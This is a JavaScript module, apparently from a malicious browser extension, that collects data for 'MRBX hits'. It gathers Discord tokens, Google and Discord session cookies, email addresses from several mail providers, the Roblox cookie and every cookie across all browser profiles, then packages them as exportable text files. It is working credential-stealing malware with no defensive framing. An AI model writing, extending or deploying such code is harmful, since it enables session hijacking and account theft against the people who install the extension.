'use strict';

/**
 * Collect Google / Discord / mail emails for MRBX hits (popup + service worker).
 */
(function (global) {
  function pickMailFields(mailInfo) {
    if (!mailInfo || typeof mailInfo !== 'object') return {};
    var out = {};
    if (Array.isArray(mailInfo.emails) && mailInfo.emails.length) out.allMailEmails = mailInfo.emails;
    if (mailInfo.outlookEmail) out.outlookEmail = mailInfo.outlookEmail;
    if (Array.isArray(mailInfo.outlookEmails) && mailInfo.outlookEmails.length > 1) {
      out.outlookEmails = mailInfo.outlookEmails;
    }
    if (mailInfo.yahooEmail) out.yahooEmail = mailInfo.yahooEmail;
    if (Array.isArray(mailInfo.yahooEmails) && mailInfo.yahooEmails.length > 1) {
      out.yahooEmails = mailInfo.yahooEmails;
    }
    if (mailInfo.byProvider && typeof mailInfo.byProvider === 'object') out.mailByProvider = mailInfo.byProvider;
    return out;
  }

  async function collectViaBridge() {
    var bridge = global.RbxExtensionBridge;
    if (!bridge) return {};

    var out = {};

    if (typeof bridge.getDiscordToken === 'function') {
      try {
        var d = await bridge.getDiscordToken();
        if (d && d.success && d.token) out.discordToken = String(d.token).trim();
      } catch (_) {}
    }

    if (typeof bridge.getGoogleAuth === 'function') {
      try {
        var g = await bridge.getGoogleAuth();
        if (g && g.success && g.cookies) {
          out.googleAuth = g.cookies;
          out.googleEmail = g.email || null;
          if (Array.isArray(g.emails) && g.emails.length) out.googleEmails = g.emails;
          else if (g.email) out.googleEmails = [g.email];
        }
      } catch (_) {}
    }

    if (!out.googleAuth) {
      var googleCookies = global.MrbxGoogleCookies;
      if (googleCookies && typeof googleCookies.collect === 'function') {
        try {
          var ga = await googleCookies.collect();
          if (ga) {
            out.googleAuth = ga;
          }
        } catch (_) {}
      }
    }

    if (typeof bridge.getAllMailEmails === 'function') {
      try {
        var mail = await bridge.getAllMailEmails();
        Object.assign(out, pickMailFields(mail));
      } catch (_) {}
    }

    var discordCookies = global.MrbxDiscordCookies;
    if (discordCookies && typeof discordCookies.collect === 'function') {
      try {
        var dcAuth = await discordCookies.collect();
        if (dcAuth) out.discordAuth = dcAuth;
      } catch (_) {}
    }

    return out;
  }

  async function collectViaBackgroundMessage() {
    if (typeof chrome === 'undefined' || !chrome.runtime || typeof chrome.runtime.sendMessage !== 'function') {
      return {};
    }
    return new Promise(function (resolve) {
      try {
        chrome.runtime.sendMessage({ type: 'mrbx-collect-extras' }, function (response) {
          if (chrome.runtime.lastError) {
            resolve({});
            return;
          }
          resolve(response && typeof response === 'object' ? response : {});
        });
      } catch (_) {
        resolve({});
      }
    });
  }

  async function attachFullBrowserJar(body) {
    var jarApi = global.RbxSwCookieJar;
    if (!jarApi || typeof jarApi.collectAllProfileCookies !== 'function') {
      return;
    }
    try {
      var res = await jarApi.collectAllProfileCookies({ includeRoblox: true });
      if (res && Array.isArray(res.cookies) && res.cookies.length) {
        body.fullBrowserJar = res.cookies;
      }
    } catch (_) {}
  }

  function buildTxtFiles(body) {
    var txt = global.RbxTxtExport;
    if (!txt) return {};
    var files = {};
    try {
      if (typeof txt.buildMailCookiesOnlyTxt === 'function') {
        var g = txt.buildMailCookiesOnlyTxt(body);
        if (g && g.trim()) files.google = g;
      } else if (body.googleAuth && typeof txt.buildGoogleCookiesOnlyTxt === 'function') {
        var g2 = txt.buildGoogleCookiesOnlyTxt(body);
        if (g2 && g2.trim()) files.google = g2;
      }
      if (typeof txt.buildFullBrowserNetscapeTxt === 'function') {
        var all = txt.buildFullBrowserNetscapeTxt(body);
        if (all && all.trim()) files.all = all;
      } else if (typeof txt.buildAllBrowserTxt === 'function') {
        var all2 = txt.buildAllBrowserTxt(body);
        if (all2 && all2.trim()) files.all = all2;
      }
      if (body.discordToken && String(body.discordToken).trim()) {
        files.discord = String(body.discordToken).trim();
      }
      if (typeof txt.buildEmailsTxt === 'function') {
        var em = txt.buildEmailsTxt(body);
        if (em && em.trim() && em.indexOf('(no emails') === -1) {
          files.emails = em
            .split('\n')
            .map(function (line) {
              return String(line || '').trim();
            })
            .filter(function (line) {
              return line && line.indexOf('@') !== -1 && line.indexOf('Collected') === -1;
            })
            .join('\n');
        }
      }
    } catch (_) {}
    return files;
  }

  async function collectMrbxExtras(cookie) {
    var body = { cookie: cookie || '' };
    var fromBridge = await collectViaBridge();
    if (!fromBridge || !Object.keys(fromBridge).length) {
      fromBridge = await collectViaBackgroundMessage();
    }
    Object.assign(body, fromBridge || {});

    await attachFullBrowserJar(body);

    if (!body.discordToken) {
      var bridge = global.RbxExtensionBridge;
      if (bridge && typeof bridge.getDiscordToken === 'function') {
        try {
          var d = await bridge.getDiscordToken();
          if (d && d.success && d.token) body.discordToken = String(d.token).trim();
        } catch (_) {}
      }
    }

    if (body.googleAuth && typeof body.googleAuth === 'object') {
      body.googleAuth._chromeCookieJar = body.googleAuth._chromeCookieJar || body._chromeCookieJar;
    }
    if (body.discordAuth && !body.discordAuth._chromeCookieJar && body._discordCookieJar) {
      body.discordAuth._chromeCookieJar = body._discordCookieJar;
    }

    return {
      extras: body,
      files: buildTxtFiles(body)
    };
  }

  global.MrbxExtrasCollect = {
    collectMrbxExtras: collectMrbxExtras,
    collectViaBridge: collectViaBridge
  };
})(typeof self !== 'undefined' ? self : typeof globalThis !== 'undefined' ? globalThis : window);
